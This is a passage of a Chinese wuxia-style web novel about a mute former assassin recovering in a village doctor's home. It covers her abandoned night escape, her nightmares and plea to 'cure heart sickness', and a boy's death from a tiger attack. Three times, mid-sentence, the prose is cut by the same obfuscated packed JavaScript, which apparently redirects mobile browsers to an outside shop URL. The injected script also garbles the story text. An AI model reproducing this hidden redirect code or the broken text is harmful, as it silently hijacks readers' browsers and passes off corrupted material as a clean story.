耳根清净,能更专注地诊脉;不用分心维持秩序,节省了不少精力;有些想胡搅蛮缠、讨价还价的病患,在瞥见旁边那道沉默的身影时,也会收敛几分。 趁着一个病患去旁边等抓药的间隙,莫絮语端起茶杯喝了口水,悄悄侧头,对闻不言小声道:“阿闷,别那么凶。” 闻不言垂眸看她,眼神里闪过一丝疑惑:我凶吗? 莫絮语看着她那张没什么表情、但轮廓分明、自带冷感的脸,忍不住想笑。 她用眼神示意排队的人群:“大家好像都有点怕你。” 闻不言顺着她的目光看去,排队的人接触到她的视线,纷纷或低头或移开目光。 她沉默了片刻,对着莫絮语非常轻微地挑了一下眉梢。 意思大概是:这样不好吗? 莫絮语愣了一下,随即忍俊不禁,赶紧用茶杯挡住嘴角的笑意。 对她这个大夫来说,是挺好的。 7. 告别未遂 午后的阳光透过树叶缝隙洒下来,在崭新的桌面上投下斑驳的光影。 莫絮语低头写着药方,闻不言就站在她身侧一步之遥的地方,沉默地守着。 偶尔有风拂过,带来药圃的清香,也吹动闻不言额前几缕碎发。 莫絮语写方子的间隙,偷偷抬眼看了看她。 侧脸线条清晰而冷峻,睫毛很长,五官排布利落,称得上是一张极俊的脸。 若是能听听声音,大概也不会差。 她低下头,笔尖在纸上流畅地移动。 也许……这次捡回来的人,真的会和以前那些,有点不一样吧。 她想着,笔下不由得多写了几味温和滋补的药,递给一位总是吃不饱饭、面色苍白的阿婆。 “阿婆,这方子您拿好,三碗水煎成一碗,早晚各一次。下次义诊,我多备些红枣糕,您来了先吃一块垫垫肚子,不伤胃。” 阿婆千恩万谢地走了。 闻不言的目光,落在莫絮语明媚含笑的侧脸上,静静停留了片刻。 而后微微移开,望向篱笆外蜿蜒的山道,不知在想些什么。 树影婆娑,时光在问诊与抓药的交替中静静流淌。 小院里,草药香弥漫,人声低语,秩序井然。 一张新桌子,一个守在旁边的“凶脸”哑巴,还有一个话多爱笑的小大夫。 义诊结束得比往常早一些。 莫絮语伸了个大大的懒腰,骨头发出轻微的“咔哒”声,久坐的僵硬感舒缓了不少。 她喟叹一声,目光落在眼前这张崭新合宜的桌子上,嘴角忍不住往上翘。 “真好用。” 她拍了拍光滑的桌面,又摸了摸笔直的椅背,眼睛弯成月牙:“阿闷,你这手艺真不错,比镇上木匠做的也不差!” 闻不言却兀自开始收拾桌上散乱的笔墨纸砚。 脉枕归位,废纸团起,笔尖洗净插回笔筒…… 莫絮语托着腮,看着她忙活,话匣子又打开了:“今天真顺当,往常总有几个闹腾的娃娃,或是为了先后吵起来的,今天一个都没有!没想到,你这张脸,还有镇宅辟邪的效果!” “不过你也别老绷着脸嘛。” 她站起来,活动着手腕绕到闻不言身边,笑嘻嘻道:“凶一点是能维持秩序,可万一把小孩子吓出毛病,我还得费心治,这不又增加我的工作量了?诊金可要涨价哦。” 闻不言终于抬眸,淡淡瞥了她一眼,好似在说:你敢涨试试。 可莫絮语才不怕她,反而笑得更欢:“哎呀,开玩笑的!我们阿闷面冷心热,我知道的!” “而且啊,我觉得他们不是怕你凶,是觉得你……嗯,很有气势!往那一站,就跟话本里写的那些深藏不露的高手一样,让人不敢造次。” 闻不言垂下眼睫,对她这番“解读”不予置评。 “对了。”莫絮语想起什么,转身从屋里拿出一个小布包,打开,里面是几块用油纸包好的桂花糖,糖粒晶莹。 “给,昨天说要分你的,不好意思啊,就剩这么点了……” 她拈起一块,递到闻不言面前。 闻不言看着递到唇边的糖,微微蹙眉,摇了摇头。她不喜甜食,更不习惯这样亲昵的投喂。 “不吃啊?”莫絮语也不勉强,反手把糖塞进自己嘴里,腮帮子鼓起一块,含糊不清地说:“那我自己吃啦,嗯……真甜!” 她眯起眼,一脸满足,像只偷到油的小老鼠。 闻不言看着她这副模样,心想:这女人,好像很容易快乐。 一块糖,一张新桌子,都能让她高兴半天。 就像此刻,她正清点今天收到的“诊金”——几枚铜钱,一小袋新米,一把还带着泥的青菜,两颗鸡蛋,还有一位大娘硬塞的一小包自家晒的梅子干。 “今天收获不错!”她美滋滋地把东西分门别类放好。 “米和菜够吃两天,鸡蛋正好晚上给你加餐补补,梅子干可以泡水喝,生津止渴!” 她自顾自安排着,好像这些微不足道的东西是什么了不得的宝藏。 闻不言站在一旁,静静看着。 她见过太多对财富贪惏无度的嘴脸。 息声楼的雇主,为铲除异己、争夺利益,可以一掷千金,眼都不眨。 楼里那些同僚,包括曾经的她自己,完成任务领赏金,也不过是冰冷的数字交换,用来换更好的武器、更精进的功法。 她也见过人性最丑陋的恶。 表面道貌岸然、背地里草菅人命的官员,为了家产弑父杀兄的富商。 鲜血和死亡背后,往往纠缠着令人作呕的欲望与背叛。 像莫絮语这样,为几枚铜钱、一把青菜就能真心实意高兴起来的人,她见得很少。 不,是几乎没有。 这女人,好像活在一个截然不同的世界里。 反观自己的世界,只有血腥味、刀锋的冷光、任务目标的惨叫,以及深夜里无数亡魂无声的凝视。 两个世界,泾渭分明,本该永无交集。 她不知怎的,默默将那双沾满血污的手,背到了身后。 如果……如果莫絮语知道她是谁,知道她做过什么,会是怎样的反应? 闻不言几乎能立刻想象出,那双总是盛着笑意的眼睛,会瞬间被惊恐、厌恶,乃至憎恨取代。 明媚的笑容会冻结、碎裂,这间温暖的小院,会立刻变成另一个必须逃离的险地。 一个救死扶伤、心思纯净的大夫,怎么会愿意与一个满手血腥、罪孽深重的杀手共处一室? 所谓的“诊金”、“以工抵债”,不过是对方善良心性下,一个天真到一戳即破的泡泡。 泡泡里映照出的短暂平和,根本经不起真相的轻轻一触。 她应该离开。 越快越好。 在莫絮语可能察觉到什么之前,在息声楼的追兵循着蛛丝马迹找到这里之前,彻底消失。 这才是对彼此都好的结局。 “阿闷?”莫絮语的声音打断了她的思绪。 闻不言抬眼,发现莫絮语不知何时已经凑到她面前,正微微歪着头,疑惑地望着她。 “想什么呢?叫你两声都没反应。” 莫絮语伸手在她眼前晃了晃,“是不是累了?还是哪里不舒服?余毒又反复了?” 说着,手就很自然地探向她的腕脉。 闻不言下意识地缩了一下手,避开了她的触碰。 莫絮语的手停在半空,愣了一下,却也没多想,只当她是本能戒备。 “没事就好,我看你站着发呆,脸色也不太好。” 她收回手,指了指厨房,“我去弄晚饭,你……要不回屋歇会儿?还是帮我烧火?” 闻不言不发一言,沉默地走向厨房, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305403|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备生火。 莫絮语看着她的背影,眨了眨眼。 刚才阿闷的眼神……好像比平时更沉,更冷,像是隔着很厚的冰层,看不清底下翻涌着什么。 她甩甩头,大概是自己想多了。 阿闷本来就是个闷葫芦,心思重些也正常。 厨房里很快响起锅碗瓢盆的动静,柴火在灶膛里噼啪作响。 闻不言坐在灶前小凳上,机械地添着柴火。 跳跃的火光映在她脸上,明明灭灭,却暖不透她眼底的寒意。 莫絮语一边煎蛋,一边又开始哼歌,偶尔念叨两句“火小点”“哎哟盐好像放多了”。 这充满烟火气的寻常傍晚,此刻却让闻不言感到一种窒息的格格不入。 她不属于这里。 一刻都不该多待。 晚饭时,莫絮语兴致很高,把煎得金黄的鸡蛋夹了一大块放到她碗里:“快尝尝!我煎蛋手艺可是一绝!” 看着碗里冒着热气的鸡蛋,又看看对面吃得脸颊鼓鼓的莫絮语,她握着筷子的手顿了顿。 “吃呀!凉了就腥了!”对面的人催促。 闻不言垂下眼,默默将鸡蛋吃了下去,尝不出多少滋味。 “怎么样?”莫絮语期待地问。 她点了点头。 “嘿嘿!”莫絮语得意地笑了:“阿闷,明天你想吃什么?炖个鸡汤怎么样,对你的伤情有好处……” “阿闷,等下你洗不洗碗啊……” …… 晚饭在莫絮语单方面的絮叨中结束。 闻不言主动收拾了碗筷去洗,莫絮语则抱着今天收到的梅子干,研究着是直接吃好,还是泡水好。 夜色渐浓。 闻不言洗漱完,回到暂住的房间。 她没有点灯,只是和衣坐在床边,在黑暗中静静听着。 隔壁传来莫絮语窸窸窣窣的动静,还有她低声哼唱的小调。 过了一会儿,一切归于平静,只剩下均匀轻浅的呼吸声。 她睡着了。 闻不言站起身,看向窗户。 月光如水,洒在寂静的小院里,药圃的轮廓在夜色中模糊成一片深绿。 内力已恢复几成,足够她悄无声息地离开。 余毒未清?没关系,靠这几成内力,她也能慢慢逼出,或者……干脆带着这毒,活到哪天算哪天。 她推开窗户,动作轻缓,没有发出一点声音。 夜风带着凉意涌进来。 她一条腿已经跨上窗台,只需一跃,便能融入外面的黑暗,就像她曾经无数次执行任务、撤离时那样。 可就在这时,隔壁房间传来一声含糊的梦呓,声音听不真切。 闻不言却僵在原地,维持着那个姿势,在窗台上停了很久。 夜风吹动她的衣摆,也吹动了心底那丝不该有的犹豫。 最终,她缓缓收回了腿,轻轻关上了窗户。 再……等两天。 至少,等那张新桌子带来的“好处”被她用够本。 至少,等她把厨房那堆柴火劈完。 至少……等一个不那么像逃走的时机。 她走回床边,和衣躺下,睁着眼,望着头顶黑暗中的房梁。 窗外,月色依旧清明。 小院安然沉睡,仿佛从未有人,曾在深夜的窗边,经历过一场无声的挣扎。 8. 心病 闻不言似乎真的把“打工抵债”的话听了进去。 每次天刚蒙蒙亮,莫絮语推开房门时,院子里已经收拾得干干净净。 药圃里的杂草被拔得一根不剩,劈好的柴火整整齐齐码在屋檐下,每一根都差不多粗细,切口平整得像是用尺子量过。 厨房的水缸总是满的,漏雨的屋顶不知何时彻底补好了,就连莫絮语有件袖口磨破了的旧外衫,也被细密地缝补过,针脚整齐得让她怀疑阿闷是不是偷偷学过女红。 一切都很好,就是她把阿闷带回小院后约定的那般。 她会把院角的落叶扫成一堆,倒进灶膛当柴火烧; 会把晒在竹匾里的草药翻晒均匀,不让露水打湿; 会把莫絮语随手放在石桌上的医书叠好,一本本码得整整齐齐。 她做的所有事,都安静、妥帖、不留痕迹。 可莫絮语脸上的笑容,却一天天淡了下去。 她还是会说话,还是会笑,义诊时依然耐心细致,对着病人时眼睛会弯成月牙。 乡亲们夸她心善,夸她医术好,她也照旧笑着道谢,语气轻快,听不出半分异样。 可当人群散去,小院重归寂静,她就常常坐在那张新桌子后面,托着腮,望着药圃发呆。 风拂过叶片沙沙作响,金银花的香气飘在空气里,可她就那么坐着,眼神空空的,不知道在想什么。 明明眼前的一切都比以往更舒心,可她心里就是发闷。 有时候闻不言从她身边经过,她会突然开口,像自言自语: “阿闷,你做事这么卖力,是因为迫不及待地想要离开了吗?” 她说这话时,脸上依然带着笑,嘴角是上扬的,眼睛却低垂着,笑意落不到眼底。 闻不言停下脚步,转头看她。 莫絮语却不看她,只盯着药圃里一株刚开花的金银花,继续用玩笑般的口吻说: “也是,我这小破院子,有什么好待的,伤好了,毒清了,自然该走了,江湖那么大,你肯定有要去的地方吧?” 话一出口,似乎又觉得有点不妥。 “我就是随便问问,你别往心里去。” 她转过头,对闻不言笑了笑:“反正诊金还没还清呢,你想走也走不了,对吧?” 笑容很亮,亮得有些勉强,像是硬撑出来的模样。 闻不言看着她,忽然想起第一次见她笑的样子,她说“恭喜你,从阎王殿门口溜达回来了”,眼睛像星星一闪一闪,明媚的好像正午的烈阳。 现在这笑,却像苦药丸外面一层薄薄的糖衣,底下发涩。 闻不言没点头,也没摇头,只是沉默地转身,去后院继续劈柴。 斧头落下,木柴应声裂开,发出清脆的响声。 一下,又一下。 莫絮语坐在桌前,听着规律的劈柴声,脸上的笑容慢慢垮下来。 她趴到桌上,把脸埋进臂弯里,很久都没动。 她明明早就习惯了离别,习惯了救回来的人养好伤就离开,可这一次,偏偏不一样。 她不想让阿闷走。 —— 闻不言的伤好得确实很快。 胸前的刀疤已经变成一道暗红色的凸起,摸上去硬硬的,但不再疼。 阴雨天里偶尔会有些发痒,却再也不会影响行动。 肩胛的箭伤愈合得更好,只留下一个浅浅的凹痕,内力恢复了六七成,经脉里最后那点阴寒余毒,在莫絮语调整后的药方作用下,也一天天淡去。 身体在好转。 可夜里,那些东西又来了。 梦里没有具体的画面,只有铺天盖地的红色,黏稠的,腥甜的,淹过口鼻,窒息般压下来; 有时候是无数双眼睛,在黑暗里睁着,空洞地死死盯着她; 有时候是声音,凄厉的惨叫,刀锋入肉的闷响,还有她自己压抑的喘息。 每一次惊醒,都是一身冷汗。 床褥被冷汗浸得微凉,心跳得像要炸开,喉咙发紧,双手不受控制地剧烈颤抖。 她会睁着眼坐到天亮,直到窗外泛起微光,才勉强压下心底翻涌的寒意与恐惧。 连续三晚都是这样。 第四天清晨,莫絮语照例来给她把脉时,盯着她的脸看了好一会儿。 “没睡好?”她问,手指搭在闻不言腕间,眉头渐渐蹙起:“脉象虚浮,心神不宁……又做噩梦了?” 闻不言点了点头。 莫絮语收回手,沉吟片刻:“余毒应该清得差不多了,按理说不该这样……你是不是心里有事?” 闻不言垂下眼。 “算了,问你也白问。” 莫絮语叹了口气,起身去药柜前翻找:“我给你配点安神的香吧,晚上点在屋里,能睡得好些。” 她拉开几个抽屉,取出晒干的合欢花、薰衣草、柏子仁,又加了点檀香末,用小石臼细细捣碎,混合均匀,装进一个素色的小香囊里。 “给。”她把香囊递去:“睡前放在枕边,或者用香炉点着都行。” 闻不言接过,握在手里,指腹摩挲着粗糙的布料,忽然抬起头,看向莫絮语。 莫絮语正收拾着石臼,察觉到她的视线,转过头:“怎么了?不喜欢这味道?我可以换——” 话没说完,她看见闻不言伸出手,食指在桌面上轻轻划了一下。 “怎么了?”莫絮语愣了一下,随即反应过来,赶紧去取笔墨:“等等,我去拿!” 她小跑着从自己屋拿来砚台、墨块、毛笔,又铺开一张裁好的宣纸,动作有些慌乱,砚台差点打翻。 “给、给你。”她把笔递过去,眼里已满是好奇。 闻不言接过笔,蘸了墨,笔尖悬在纸上,停顿了很久。 她很久没写字了。 在息声楼,不需要写字。 命令是口传的,情报是耳听的,执行只需要动手,文字是多余的东西,是普通人世界里才需要的交流方式。 笔尖落下,第一划就歪了。 墨迹在宣纸上晕开一小团,像一滴不该落下的血。 她抿紧唇,继续写。 握刀的手本该很稳,可握笔的感觉完全不同。 笔杆太细,太轻,不听使唤,字迹歪歪扭扭,笔画僵硬,有的地方墨太重,有的地方又太轻,导致断断续续的。 莫絮语凑过来看。 纸上的字,写得很大,占满了半张纸:治心病。 三个字,每个字都丑得很有特色。 “治”字的“氵”旁写得像三条歪歪扭扭的虫子,“心”字中间那一点戳破了纸,“病”字的“疒”头歪到一边去了。 莫絮语盯着那三个字,看了很久,然后她抬起头,看向闻不言。 闻不言也看着她,眼神深处似有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305404|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么东西在翻涌,像冰层下的暗流。 她重新看向那三个字,视线从歪斜的笔画上慢慢扫过。 都说字如其人,可是阿闷的字怎么这么丑.....横不平竖不直,结构松散,墨迹还深浅不一,跟刚学写字的蒙童有得一拼,甚至更……狂放不羁些。 这实在很难和眼前这个气质冷冽、做事精准利落的人联系起来。 她回过神,意识到这不是重点,便顺着字往下说:“心病……你是说,你夜里睡不好,总做噩梦,是因为心里……装着事?” 闻不言点了点头。 “你想治?治你心里那些……让你睡不着的‘东西’?” 闻不言再次点头,对方接下来的问题也是一下问到了她的心坎上。 “阿闷,你不说话……是因为这个吗?因为心里那些事?” 闻不言迟疑了一下,缓缓点头。 闭口禅的缘由复杂,但心魔缠身、罪孽深重,无疑是根源之一,这个回答,不算撒谎。 莫絮语得到了确认,眉头却没有舒展,反而蹙得更紧。 她看着闻不言,眼神里没了平日的跳脱笑意,多了审慎和一丝……为难。 “阿闷。” 她叹了口气,语气是前所未有的认真:“我是大夫,治病救人,是我的本分,外伤内毒,哪怕再稀奇古怪,只要摸清脉理,对症下药,总能有法子,可这‘心病’……不一样。” 她顿了顿,似乎在斟酌词句:“它不像伤口,看得见摸得着;也不像中毒,有迹可循,它藏在你的神魂里,是你过往的经历、你压在心里的事,甚至是你自己都未必完全清楚的情绪纠葛,一点点淤积成的‘症结’,要治它,光靠药石针砭,效果有限。” 闻不言眼神黯了黯。 “还有最重要的是,治心病,需要患者自己打开心扉,极度配合,大夫就只是一个引路人,可以帮你辨认路径,但路,得你自己愿意走,那些淤堵的‘结’在哪里、是什么样子、因何而起……你得愿意说出来,或者至少,用我能理解的方式让我知道,你能明白吗?” 她指了指那张写着“治心病”的纸:“你愿意写下来,这是个很好的开始,但光写这三个字,不够,你得告诉我,是什么事,是一件,还是很多件;是很久以前的,还是最近发生的;那些让你在梦里都不得安宁的‘东西’,到底是什么?” 莫絮语的声音很温和,没有逼迫,只有陈述事实般的清晰:“只有知道了‘病根’,我才能试着帮你梳理,看看能不能用安神定志的法子,辅以药香针术,慢慢化解,但这个过程可能很慢,也很难受,就像把已经长好的伤疤重新揭开,清理里面的脓血,而且……” 她停顿了一下,看着闻不言骤然绷紧的下颌线,还是说了下去:“而且,你必须有准备,有些‘心病’,无法做到‘根治’,只能让你学着与它共存,让它不再那么频繁地打扰你,不再让你那么痛苦,你……明白我的意思吗?” 闻不言当然明白。 她比任何人都清楚自己心里装着的是什么。 她的心病,是无数条人命、是洗刷不净的血污、是深夜里无数双不肯闭上的眼睛。 那不是“一件事”,那是她过去全部的人生,是铸就她如今这副模样的每一块冰冷砖石。 说出来? 对着这样一双如此清澈、满怀善意和济世之心的眼睛,她又怎么说得出口。 9. 急症上门 一盆掺着冰碴的冷水,瞬间兜头浇在闻不言刚刚燃起一丝微弱火苗的心上。 她原以为,莫絮语医术这般高超,连那般阴诡的刀毒都能化解,治她这“心病”,应当也同处理伤口、拔除毒素一般,几剂猛药,几番针灸,便能将那纠缠不休的梦魇与血腥尽数驱散。 原来不是。 原来最难治的,从不是看得见的伤,流得出的毒,而是那些早已烂在骨血里、融进性命里的过往。 说出来? 那无异于是将最污秽腥臭的泥沼,一股脑倾倒入一泓清可见底的山泉。 她会吓到她。 她会……厌恶她。 闻不言垂下眼睫,避开莫絮语询问的视线,目光落在自己刚刚写下的那三个歪扭丑陋的字上——“治心病”。 此刻看来,竟像一个荒谬绝伦的笑话。 她沉默地伸出手,将宣纸慢慢揉成一团,握在掌心,用力收紧。 莫絮语看着她这一连串动作,心底叹了口气。 这“心病”的根,似乎扎得比她想象中还要深,还要隐秘。 阿闷愿意提起,已是破天荒的进展,可让她立刻敞开心扉,无异于痴人说梦。 “不急。” 莫絮语放软了声音,试图缓和两人间窒息的气氛:“这事本就急不来,你愿意提,想必已是信我了,便是进步,安神的香你先用着,夜里能睡个安稳觉,其他的……我们慢慢来,好吗?” 闻不言既不点头,也不摇头,只将那团皱巴巴的纸,紧紧攥在手心。 屋内空气沉闷得几乎要凝结,院外却忽然传来一阵急促凌乱的脚步声,伴随着男人嘶哑慌乱的呼喊: “莫大夫!莫大夫在吗?!救命啊!救救我儿子!” 声音由远及近,裹着哭腔的绝望,瞬间打碎了小院的宁静。 莫絮语神色一凛,立刻起身快步走向门口。 闻不言也倏然抬眼,眼底残留的挣扎与晦暗刹那间被警惕取代。 她松开手,任由纸团滚落在地,身形微动,已悄无声息地跟到莫絮语身后半步之处。 院门“哐当”一声被撞开,一个身材魁梧、满脸络腮胡的汉子跌跌撞撞冲了进来。 他背上用粗布胡乱捆着一个半大少年,少年双目紧闭,脸色惨白如纸,左侧肩背至腰侧衣衫破碎,露出几道皮肉翻卷的可怖伤口,鲜血浸透粗布,仍在不断往下滴落,在泥地上洇开一道暗红刺目的痕迹。 汉子一眼看见莫絮语,膝盖一软,竟跪了下来,额头重重磕在地上: “莫大夫!求您救救狗娃!镇上……镇上的大夫都说没救了,让准备后事……我知道您心善,医术高,求您再看看,求您再看看!我就这么一个儿子啊!” 他语无伦次,涕泪横流,显然已是六神无主。 莫絮语脸色骤变,顾不上扶他,急步上前:“快!把人轻点放下!” 她指挥着汉子将少年平放在院中干净的石板上,自己已蹲下身,飞快检视伤口。 伤口极深,边缘参差不齐,像是被巨大的利爪生生撕裂,隐约可见白骨,少年失血过多,气息微弱得几乎摸不到。 “这是……猛兽所伤?”莫絮语一边飞快取出随身携带的金针,刺入几处大穴止血固元,一边急声追问。 “是……是大虫!” 汉子跪在一旁,双手颤抖:“我带他进老林子想打点野物,没料到撞见那畜生……狗娃是为了推我才……莫大夫,他还有气,还有气对不对?镇上那王八蛋说他肺腑都被抓破了,活不了了,我不信,我不信啊!” 肺腑抓破? 莫絮语的手指停在少年冰冷的手腕上,又轻轻按了按他胸肋之处,触手之下,能感觉到一种不正常的凹陷与滞涩。 她收回手,沉默片刻。 “镇上大夫说得没错,肋骨断了至少三根,有一根已刺进肺里,有内出血。” 汉子脸上的血色“唰”地褪得干干净净,嘴唇哆嗦着,想说什么,却发不出半点声音。 “而且拖得太久了。” 莫絮语望着少年惨白的脸,眼底掠过一丝惋惜:“从受伤到现在,至少两个时辰了吧?血快流干了,气息也……” 她没有说完,可意思已再明白不过。 汉子猛地扑过来,又要磕头:“莫大夫!您再想想办法!外面都说您是神医啊!您一定有办法!只要能救狗娃,我给您当牛做马!我这条命都给您!” 他磕得额头渗血,混着眼泪鼻涕,狼狈不堪。 莫絮语被他扯住衣角,眉头紧锁。 办法……不是没有。 神医谷典籍中,曾记载过类似情形的治法——开胸,取出断骨,缝合破损的肺叶,再辅以秘药生肌续骨。 可这法子,凶险至极。 且不说这山野之地条件简陋,光是开胸一步,便足以让九成九的大夫望而却步。 止血、防感染、维持生机……每一步,都是鬼门关。 她下意识看了一眼身后之人——不是人人都有她那般体质与运气。 少年此刻的状态,能不能撑过这场堪比刮骨疗毒的救治,都是未知数。 她若出手,成功了自然好,可若是失败…… “莫大夫!求您了!”汉子见她沉默,哭喊得越发凄厉:“我就这么一个儿子啊!他娘去得早,我一把屎一把尿把他拉扯大……他要是有个三长两短,我也不活了!” 莫絮语闭了闭眼。 师父当年的话蓦然在耳边回响:“小语,医者仁心,可也要量力而行,有些事,非人力所能及,强求,反而害人害己。” 她忽然想起那些被她救回、却又一个个离开的人。 每一次出手,何尝不是一场赌博。 赌自己的医术,赌伤者的命数,也赌……事后可能招惹的麻烦。 眼前这少年,伤得太重,希望渺茫。 她若拒绝,无人会怪她,镇上大夫已判了“死刑”,她不过一介山野郎中,救不了,也在情理之中。 可…… 她睁开眼,目光落在少年青涩却已显棱角的脸上,不过十五六岁的年纪,本该是漫山遍野跑、不知愁滋味的年岁。 “我可以试试。” 她下定了决心:“但你要想清楚,这法子我从未用过,只有三成把握,而且,需要切开他的胸口,取出断骨,再将破损的肺叶缝合。” 汉子的哭声戛然而止。 他瞪大眼睛,像是没听懂:“切、切开胸口?” “对。”莫絮语点头:“就像……修补一件破了的衣裳,要把破口露出来,才能缝补。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305405|198708||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 汉子脸上的肌肉剧烈抽搐。 他看看儿子惨白的脸,又看看莫絮语,眼神里挤满了恐惧与挣扎。 “这……这不成!”他猛地摇头,下意识抱紧儿子:“把人胸口切开,那还能活吗?镇上的大夫都没说过这种法子!你、你是不是想拿我儿子练手?!” 不等莫絮语否认,他已自行下定了结论: “我就知道!你们这些大夫,一个个都黑心肝!镇上那王八蛋说没救,你是不是也想推脱,故意说这种吓人的话,好让我死心,把我儿子丢出去等死?!” 他越说越激动,声音拔高,唾沫横飞,脸上涕泪与血污混在一处,显得狰狞又绝望。 “不是的,你听我说——”莫絮语试图解释,声音却被对方粗暴打断。 “我不听!你就是跟镇上那王八蛋一伙的!你们这些穿长衫的,就没一个好东西!见我们山里人好欺负是不是?见死不救,还要说风凉话!” 汉子猛地站起身,身材魁梧如铁塔,此刻双目赤红,指着莫絮语的鼻子: “我告诉你!今天你必须救我儿子!用你平常的法子救!开胸?你想都别想!要是救不活,我就砸了你这破院子!让你也在这山里待不下去!” 他一边吼,一边便要上前拉扯莫絮语,动作粗鲁,带着一股蛮横戾气。 莫絮语被他逼得后退一步,眉头紧锁,心下又急又气。 医者最怕遇上这种被悲痛与恐惧冲昏头脑的病患家属,明明已将凶险与缘由解释清楚,对方却只凭臆测,便全盘否定,甚至倒打一耙。 “这位大哥,你冷静点!” 她提高声音,试图压过对方的咆哮:“令郎伤势太重,寻常汤药金针,早已无力回天!开胸是险招,可也是眼下唯一的生机!” “我不管!我就要你用平常的法子救!” 汉子根本不听,仿佛认定了她藏私刁难:“你之前还给我把脉开方,好好的!怎么到我儿子这里就要切胸口了?你就是不想救!觉得我们穷,给不起诊金是不是?我给你磕头,我给你钱!你说要多少?!” 他说着,竟真的去掏怀里干瘪的钱袋,抖抖索索倒出几个铜板与一小块碎银,又急又乱地便要往莫絮语手里塞。 莫絮语避开他的手,只觉一阵无力。 跟一个被恐惧与悲痛冲昏头脑的人,根本讲不通道理。 时间一分一秒流逝,少年微弱的生机,恐怕连这片刻争吵都耗不起。 就在两人僵持不下、汉子情绪越发激动、几乎要动手推搡之际—— 一直沉默立在莫絮语侧后方的闻不言,忽然动了。 她没有理会汉子的咆哮,也没有回应莫絮语的焦急,只是径直走到平放在石板上的少年身边,蹲下身,伸出两指,搭在少年冰冷的颈侧脉息之处。 汉子的怒吼硬生生卡在喉咙里,愣了一瞬,随即暴怒更甚:“你干什么?!别碰我儿子!” 他想冲上前,却被闻不言抬头淡淡瞥来的一眼,钉在了原地。 那眼神没什么情绪,却冷得像腊月深山里的寒潭,汉子满腔的悲愤与蛮横,在这目光之下,竟不由自主地退了一步。 闻不言没有理他,指尖在少年颈侧静静停留片刻。 随即收回手,站起身,看向莫絮语,摇了摇头。 10. 原来她不傻 脉息已绝,生机已断。 少年本就重伤濒死,又经一路颠簸震荡,再加上方才汉子哭闹争执的耽搁,最后气息,终究散了。 莫絮语看见闻不言垂手、摇头的动作,心猛地一沉,快步冲了过去,不顾汉子此刻失智般的癫狂,亲自将两指搭在少年颈侧的动脉处,另一只手凑到他的鼻下。 没有丝毫搏动的力道。 莫絮语闭了闭眼,随即缓缓收回手,声音沉重:“……他走了。” “走了?” 汉子像是没听懂这两个字的含义,茫然地重复了一遍,脸上的暴怒与焦急瞬间凝固,只剩下麻木的呆滞。 他愣了片刻,才猛地扑到儿子身上颤抖着伸出粗粝的大手,小心翼翼地去摸少年惨白的脸颊,又慌乱地去探他的鼻息、摸他的手腕,一遍又一遍。 “狗娃?狗娃你醒醒!爹在这儿!爹在这儿啊!” 可无论他怎么呼喊、怎么抚摸,少年依旧双目紧闭,脸色惨白如纸,身体一点点变得僵硬,再无半分回应。 触手的冰凉,像一把冰锥,狠狠扎进汉子的心脏。 “不——!” 一声凄厉到不似人声的嚎叫,突然从汉子喉咙里迸发出来,响彻整个小院。 他像是一头彻底失去幼崽的野兽,瞬间被悲痛与疯狂吞噬,理智荡然无存。 他猛地转头,瞥见蹲在一旁的闻不言,像是找到了发泄的出口,一把伸出大手,狠狠推开了她。 闻不言本就没有防备,再加上汉子此刻力道极大,身子踉跄着后退了三四步,才勉强站稳。 汉子全然顾不上她,甚至没再看她一眼,只是疯了一般摇晃着儿子的肩膀,粗糙的手掌用力拍打着少年毫无血色的脸颊,力道大得几乎要将少年的脸打肿。 “狗娃!你睁开眼看看爹!你别吓爹!你醒过来!醒过来啊!” 他一边哭喊,一边摇晃,少年的头颅随着他的动作无力地摆动。 片刻后,汉子像是耗尽了所有力气,停止了摇晃,他抬起头,赤红的眼珠死死盯住莫絮语,眼底翻涌着滔天的悲痛与怨恨。 “是你!是你!” 他嘶吼着,声音里充满了戾气:“是你害死了我儿子!是你见死不救!是你耽误了时间!说什么开胸,你就是想推脱!就是你故意拖延,害死了我的狗娃!” 他把所有无处宣泄的悲痛、绝望与自责,全都一股脑地倾泻在这个看似最“好欺负”的年轻大夫身上。 “我跟你拼了!”汉子嘶吼着,猛地从地上爬起来,双目赤红,脸上涕泪与血污混在一起,显得狰狞又癫狂。 他不管不顾地朝莫絮语扑了过去,蒲扇般的大手,带着一股蛮横的力道,直抓向莫絮语的衣襟,像是要将她撕碎。 闻不言眼神一冷,脚下微动,身形瞬间变得轻盈,几乎就要出手。 她的身手,本就利落狠绝,对付这样一个失去理智的普通人,不过是举手之劳。 只要她动一下,就能轻易将汉子掀翻在地,护莫絮语周全。 可就在一刹那,她硬生生顿住了动作。 